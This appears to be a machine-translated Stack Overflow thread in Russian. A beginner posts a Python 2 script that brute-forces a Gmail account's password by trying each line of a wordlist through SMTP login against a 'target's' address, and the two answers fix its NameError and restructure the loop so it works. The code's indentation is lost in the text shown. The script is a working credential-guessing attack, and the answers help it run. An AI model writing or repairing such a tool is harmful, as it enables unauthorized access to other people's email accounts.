PYTHON 2.7.9: NameError: имя '___' не определено
Я новичок в программировании, но я пытаюсь создать следующий скрипт. Можете ли вы показать мне, что я делаю не так?
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = raw_input("Enter the target's email address: ")
Passwfile = raw_input("Enter the password file name: ")
Passwfile = open(passwfile, "r")
for password in passwfile:
try:
smtpserver.login(user, password)
print "[+] Password Found: %s" % password
break;
except smtplib.SMTPAuthenticationError:
print "[!] Password Incorrect: %s" % password
Когда я добавляю свой файл wordlist.lst, в моем терминале появляется сообщение об ошибке:
File "gmail.py", line 9, in <module>
Passwfile = open(passwfile, "r"
NameError: name 'passwfile' is not defined
Могут ли какие-нибудь эксперты дать мне совет, пожалуйста? Я использую Python 2.7.9 на Kali Linux (Python 2 был предварительно установлен, поэтому я решил изучить его вместо того, чтобы попробовать Python 3.)
2 ответа
Там нет переменной с именем passwfile
определены. Однако есть один Passwfile
(обратите внимание на заглавные буквы), который вы должны использовать, потому что идентификаторы чувствительны к регистру в Python.
Обратите внимание, что в Python принято использовать строчные буквы для имен переменных. Прописанные идентификаторы обычно используются для имен классов. Таким образом, ваш код может читать:
user = raw_input("Enter the target's email address: ")
password_filename = raw_input("Enter the password file name: ")
password_file = open(password_filename, "r")
for password in password_file:
например.
Для получения дополнительной информации об идентификаторах и других проблемах стиля см. PEP 8. Здесь рекомендуется, чтобы переменные были подчеркнуты разделенными строчными словами, поэтому предпочитайте password_file
над passwfile
например.
Еще один полезный совет - открыть файлы в менеджере контекста, используя with
заявление:
user = raw_input("Enter the target's email address: ")
password_filename = raw_input("Enter the password file name: ")
with open(password_filename) as password_file:
for password in password_file:
# nasty stuff here
Диспетчер контекста гарантирует, что файл всегда будет правильно закрыт, если, например, имеется необработанное исключение.
Наконец, используйте это для добра, а не зла:)
Проверить линию
Passwfile = raw_input("Enter the password file name: ")
Здесь вы храните raw_input
в переменной Passwfile (P в верхнем регистре)